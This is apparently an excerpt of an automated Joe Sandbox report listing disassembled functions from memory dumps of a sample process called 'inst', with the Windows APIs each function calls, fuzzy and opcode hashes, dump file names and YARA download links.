Instruction ID: 093af2ed180673abec0aa19c8584668dc3cb3ee2db585822e013b06303e149be
Opcode Fuzzy Hash: 041a32269b287f2aafcde34823ee5a0653b83d37b6b755ed2daa93238df03e17
Instruction Fuzzy Hash: 5FE0D831645310FBE7146B64EC0BFD63A65AF29701F428825F949A10E0EBA15410D6A2

Function 00177FEB Relevance: 3.0, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 00177FFA
SysAllocString.OLEAUT32(?), ref: 00178005

Part of subcall function 0016DFB0: __CxxThrowException@8.LIBCMT ref: 0016DFC2

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: String$AllocException@8FreeThrow
String ID:
API String ID: 1688122297-0
Opcode ID: 756cf6078412039f9caab194b4307a4c5ecfe285e7bbd03eb0c160aaaf17bfdc
Instruction ID: 5396595d595e5aee2257b6905d2f7e53295f6d13e90370887551f8f98d4916e0
Opcode Fuzzy Hash: 756cf6078412039f9caab194b4307a4c5ecfe285e7bbd03eb0c160aaaf17bfdc
Instruction Fuzzy Hash: B8E086326002119BC7301F2CAC0866EF3F9AFA4771B22881EF494D3101DFB0CC818A51

Function 5F4DCEFD Relevance: 3.0, APIs: 2, Instructions: 20fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,5F4FCFA0), ref: 5F4DCF0F
DeleteFileW.KERNEL32(?,00000000,?,5F4FCFA0), ref: 5F4DCF27

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CloseDeleteFileHandle
String ID:
API String ID: 2633145722-0
Opcode ID: 7953a87472d0041b9a777044af00a87ea6a213b9977e808b22fd80b099fb2a90
Instruction ID: 15089e2ba33e7e5266327d58e9874f326513eb0e3a43eaecd7c05631a5c56045
Opcode Fuzzy Hash: 7953a87472d0041b9a777044af00a87ea6a213b9977e808b22fd80b099fb2a90
Instruction Fuzzy Hash: 98E0EC73504541EBC6146B28D8589C6FBB9BB81332722471DF1BED36D1E730A86A8AA0

Function 001EE9C8 Relevance: 3.0, APIs: 2, Instructions: 19COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 001EE9D4

Part of subcall function 001F4E30: __getptd_noexit.LIBCMT ref: 001F4E33
Part of subcall function 001F4E30: __amsg_exit.LIBCMT ref: 001F4E40

Part of subcall function 001EE98B: __IsNonwritableInCurrentImage.LIBCMT ref: 001EE99E
Part of subcall function 001EE98B: __getptd_noexit.LIBCMT ref: 001EE9AE
Part of subcall function 001EE98B: __freeptd.LIBCMT ref: 001EE9B8
Part of subcall function 001EE98B: ExitThread.KERNEL32 ref: 001EE9C1

__XcptFilter.LIBCMT ref: 001EE9F5

Part of subcall function 001FAE94: __getptd_noexit.LIBCMT ref: 001FAE9C

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: __getptd_noexit$CurrentExitFilterImageNonwritableThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 393088965-0
Opcode ID: e2c17a0e385b7bae7fb46e40597f7025acc2257d955799ed88a52109571e7203
Instruction ID: 5be6c35b938609a2ee070761ab250ef336a03a206cd8326676627dfafecf63ce
Opcode Fuzzy Hash: e2c17a0e385b7bae7fb46e40597f7025acc2257d955799ed88a52109571e7203
Instruction Fuzzy Hash: 89E0ECB5910A04EFDB09ABA1C846E3EB766AF15315F200449F1026B2A3DB799D54DA21

Function 0019662B Relevance: 3.0, APIs: 2, Instructions: 15timewindowCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,00002711), ref: 0019663D
PostMessageW.USER32(?,000009DD,00000000,00000000), ref: 0019664F

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: KillMessagePostTimer
String ID:
API String ID: 3249405171-0
Opcode ID: d318576ac107aef02e8dee7cfbc0c8d3c4542495079c36b0431a75c3375c0af5
Instruction ID: 619a9c4fecbb96dfd842a11fd54fd08d5bfc2548146901a675defbc6ac1e672a
Opcode Fuzzy Hash: d318576ac107aef02e8dee7cfbc0c8d3c4542495079c36b0431a75c3375c0af5
Instruction Fuzzy Hash: 1DD0A731540210BFEB200714ED0EF827B58DB24B00F518427F605A40A0D7709C50C654

Function 00196659 Relevance: 3.0, APIs: 2, Instructions: 14windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0019665F
Shell_NotifyIconW.SHELL32(00000002), ref: 00196672

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: IconNotifyShell_VisibleWindow
String ID:
API String ID: 1820326197-0
Opcode ID: d6932f2e4ba5ddaa7e5f3489c5fe8e6ba247627653712318ac23842e6b20ee53
Instruction ID: 3da8ca2d28436152a5c7f1dd06d767fff66c77a98fb1902055f61eb825e25a9d
Opcode Fuzzy Hash: d6932f2e4ba5ddaa7e5f3489c5fe8e6ba247627653712318ac23842e6b20ee53
Instruction Fuzzy Hash: 83D012329511316BEF101B20AD0EBA369ADDF19751F0788396C5AD10A0FF908C0085E0

Function 5F50163F Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 5F5017FB

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: Event
String ID:
API String ID: 4201588131-0
Opcode ID: 2f7654085e3875d56a79ffd6125799459a30e3aca2cf832852906edce2887eea
Instruction ID: 276bfd24e62fdcca0d4fa032cec69264bfa5c0c59717476ac9c07ec21fc1215c
Opcode Fuzzy Hash: 2f7654085e3875d56a79ffd6125799459a30e3aca2cf832852906edce2887eea
Instruction Fuzzy Hash: C95141B1501705EFCB15BFF0C99089EBBF9BF08310B044A3EE55A92A61DB31E911DB82

Function 001AEDC9 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 001AEDD0

Part of subcall function 001ABFAE: GdipGetImageHorizontalResolution.GDIPLUS(?,?), ref: 001ABFC1

Part of subcall function 001ABFD3: GdipGetImageVerticalResolution.GDIPLUS(?,?), ref: 001ABFE6

Part of subcall function 001AC0A7: GdipGetPropertySize.GDIPLUS(?,?,?), ref: 001AC0B5

Part of subcall function 001AE07B: __EH_prolog3.LIBCMT ref: 001AE082

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Gdip$ImageResolution$H_prolog3H_prolog3_HorizontalPropertySizeVertical
String ID:
API String ID: 3577579328-0
Opcode ID: bc48f778cb90b6710d2f5426f747b4d0515c4e1e268f221517aa5297963680a4
Instruction ID: 6c666bb107aa716fbe5c391bc316181fb5ebf5b4dfba32c026837cc988ce0e9c
Opcode Fuzzy Hash: bc48f778cb90b6710d2f5426f747b4d0515c4e1e268f221517aa5297963680a4
Instruction Fuzzy Hash: 04415979D00259EFCF24EFA8D9919AEBBF6EF16310F10452AF512A7241DB30AD85CB50

Function 001AEF1E Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001AEF25

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 3c1fc08c0208b19e303d8a9d7afd4a0f3e1f5768fd8ed7e4b5ece7d6e2490933
Instruction ID: 26c1be0fb8ff8150e6fe1ce467e0466dd93634493b7ef4c5bb6b2a7311da94eb
Opcode Fuzzy Hash: 3c1fc08c0208b19e303d8a9d7afd4a0f3e1f5768fd8ed7e4b5ece7d6e2490933
Instruction Fuzzy Hash: F5319078A00519EFCF05EFA4D8919BEB7F6FF96340B10401AF4169B292DF309A42CB94

Function 001D44E3 Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001D44EA

Part of subcall function 001D42DE: __EH_prolog3.LIBCMT ref: 001D42FD
Part of subcall function 001D42DE: GetDriveTypeW.KERNEL32(?,0000000C), ref: 001D4327

Part of subcall function 001D2158: __EH_prolog3.LIBCMT ref: 001D2177
Part of subcall function 001D2158: CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,?,?,00000038), ref: 001D21BD
Part of subcall function 001D2158: _memset.LIBCMT ref: 001D21DF
Part of subcall function 001D2158: DeviceIoControl.KERNEL32(0017BD49,0004D030,?,00000028,?,00000028,?,00000000), ref: 001D2236
Part of subcall function 001D2158: _memset.LIBCMT ref: 001D226C

Part of subcall function 001D3BFD: __EH_prolog3_catch.LIBCMT ref: 001D3C04
Part of subcall function 001D3BFD: CoCreateInstance.OLE32(0022C868,00000000,00000001,0022C798,?,00000038,001D4568,?,?,?,?,?,0000001C,001CEAD1,?,?), ref: 001D3C22
Part of subcall function 001D3BFD: SysFreeString.OLEAUT32(?), ref: 001D3C71
Part of subcall function 001D3BFD: CoSetProxyBlanket.COMBASE(0017BD49,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 001D3C88
Part of subcall function 001D3BFD: SysFreeString.OLEAUT32(?), ref: 001D3D26

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3$CreateFreeString_memset$BlanketControlDeviceDriveFileH_prolog3_catchInstanceProxyType
String ID:
API String ID: 3646017727-0
Opcode ID: 54b40b60d17954498afbda6e0be6e75fe6e588cc0dde21e5a9b72b15a5b09ebf
Instruction ID: 94ec1146b063f42eee21530e38cc285c08f3bf14af321b0c9e99e5901ad5f8f8
Opcode Fuzzy Hash: 54b40b60d17954498afbda6e0be6e75fe6e588cc0dde21e5a9b72b15a5b09ebf
Instruction Fuzzy Hash: 5A21E672D0011E9BCF12EFD4D8818FEB7B9AF64350B14402AE921B7251EB359E45CFA0

Function 0018EAD4 Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,00000000,?), ref: 0018EB65

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: f4f2d0d32c541e3af3d6718a308c0d75bd95a346eed3d1e97d580e36d8304156
Instruction ID: 494f3326b735ab9069db5c32ca0e69b9ee158f12d46bd8cd484fc194616b1297
Opcode Fuzzy Hash: f4f2d0d32c541e3af3d6718a308c0d75bd95a346eed3d1e97d580e36d8304156
Instruction Fuzzy Hash: 68218631500709AFCF35EF14C984AAABBF5EB48300F20491AF857936A0C331EA848F91

Function 5F5225D6 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 5F522243: _memset.LIBCMT ref: 5F522280
Part of subcall function 5F522243: _strcat.LIBCMT ref: 5F52228A
Part of subcall function 5F522243: __wcstoi64.LIBCMT ref: 5F5222AE

Part of subcall function 5F528425: _malloc.LIBCMT ref: 5F52843F

htonl.WS2_32(?), ref: 5F522617

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: __wcstoi64_malloc_memset_strcathtonl
String ID:
API String ID: 2862793191-0
Opcode ID: ef4d60983490f399362d8605afea76583426b3f638859e89317ea6d2a09efd01
Instruction ID: 23fa49848d0c826fd4f0013a327e90f87bc06bdc64e4eba6eac486121a952fa4
Opcode Fuzzy Hash: ef4d60983490f399362d8605afea76583426b3f638859e89317ea6d2a09efd01
Instruction Fuzzy Hash: 8F11B2B6103711BEF3649FB8E800B9B77D4AB48720F60033AEA08DB1D0DEA1A90083C5

Function 5F5226DA Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 5F522727

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 1e8c591ce45972c734cffb2b6b836b4c0822c0cf04ce7fa5f223d233c2a7b32b
Instruction ID: 1bb305415699e30cbcd3fd193866adf929ad03b3fdff1923f810ce8fe2d38214
Opcode Fuzzy Hash: 1e8c591ce45972c734cffb2b6b836b4c0822c0cf04ce7fa5f223d233c2a7b32b
Instruction Fuzzy Hash: 3411B47550211DABEF15CF64CC40EEF7BF9AF55200F0442EBE509A7280DE319A54CBA0

Function 001AEB31 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001AEB38

Part of subcall function 001E5546: _malloc.LIBCMT ref: 001E5560

Part of subcall function 001AE1E2: __EH_prolog3.LIBCMT ref: 001AE1E9

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3$_malloc
String ID:
API String ID: 1683881009-0
Opcode ID: b01a5e38a8fc63f5241e42a331fb0aa8448e66826582372afdfeb5b67ba0974a
Instruction ID: a30f84cf71334b0a3d9bcc5e3f26074cfe23959e8dd1e8cba12febfe89f186b3
Opcode Fuzzy Hash: b01a5e38a8fc63f5241e42a331fb0aa8448e66826582372afdfeb5b67ba0974a
Instruction Fuzzy Hash: F121A238A01254AFDF11DFA8C5497ADBBF2AF5A704F144058FD46AB3A1CB718E40DB61

Function 0016E410 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 0016E080: GetCurrentProcessId.KERNEL32 ref: 0016E084
Part of subcall function 0016E080: CreateFileW.KERNEL32 ref: 0016E0AA

PathFileExistsW.SHLWAPI(?,06AC2023,?,00000000,?,?,00000000,0021D2E0,000000FF,?,0016B43F,?), ref: 0016E465

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: File$CreateCurrentExistsPathProcess
String ID:
API String ID: 3040742104-0
Opcode ID: 0f54156c9c85551c2458039aeabf521958460e54485086d9d2201c81cc5511c3
Instruction ID: 7551a5f166a45e87b008bc5ae39a62f586892c2ca7610707b86606237f8b6237
Opcode Fuzzy Hash: 0f54156c9c85551c2458039aeabf521958460e54485086d9d2201c81cc5511c3
Instruction Fuzzy Hash: 9811A976605608EBDB10CF55EC05BABB7E8FB01750F04462AFC15D3681EF75A920C6A5

Function 0016DA70 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 001DF9AF: EnterCriticalSection.KERNEL32(0024CD40,00000000,?,?,0016DA81,00000000,?,?,?,?,0016B6E0,?,00000000,?,?), ref: 001DF9BC
Part of subcall function 001DF9AF: LeaveCriticalSection.KERNEL32(0024CD40,0016B364,?,0016DA81,00000000,?,?,?,?,0016B6E0,?,00000000,?,?), ref: 001DF9D8

FindResourceExW.KERNEL32(00000000,00000006,?,00000000,00000000,?,?,?,?,0016B6E0,?,00000000,?,?), ref: 0016DAA6

Part of subcall function 0016DC40: LoadResource.KERNEL32(0016B364,0021CD88,00000000,?,0016DAB8,00000000,00000000,?,?,00000000,00000000,?,?,?,?,0016B6E0), ref: 0016DC4C

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CriticalResourceSection$EnterFindLeaveLoad
String ID:
API String ID: 1986744039-0
Opcode ID: 5f3502930b214d24a8c15adac48118090363e4c90971fb248cfcc75a62fde64b
Instruction ID: bd89131a316d551a015ef2d74b41383178ae524015630fb9771123835894b5a5
Opcode Fuzzy Hash: 5f3502930b214d24a8c15adac48118090363e4c90971fb248cfcc75a62fde64b
Instruction Fuzzy Hash: F8F02867F4D22927972598A67C40E77B79ECAE07F5711013AFC42C7300DB119C2142F1

Function 001AEBDA Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001AEBE1

Part of subcall function 001ADE99: __EH_prolog3.LIBCMT ref: 001ADEA0

Part of subcall function 001AEB31: __EH_prolog3.LIBCMT ref: 001AEB38

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 4e28c87f786db024790cbcd1ae4431f5ff8d6f9f59e7615ff4c98fe877813a44
Instruction ID: 7cfd1af9f25aa0c7a95754c0620c2cc9e14ebaf0ab088cdfdc5e12231c51af12
Opcode Fuzzy Hash: 4e28c87f786db024790cbcd1ae4431f5ff8d6f9f59e7615ff4c98fe877813a44
Instruction Fuzzy Hash: 3A110A39801509AFDF06EFE4ED42AEEBB76EF25314F104414F511761A2DB315E25DB50

Function 001B62CA Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001B62D1

Part of subcall function 00186986: _wcschr.LIBCMT ref: 001869AB

Part of subcall function 001B5F4D: __EH_prolog3_GS.LIBCMT ref: 001B5F54

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
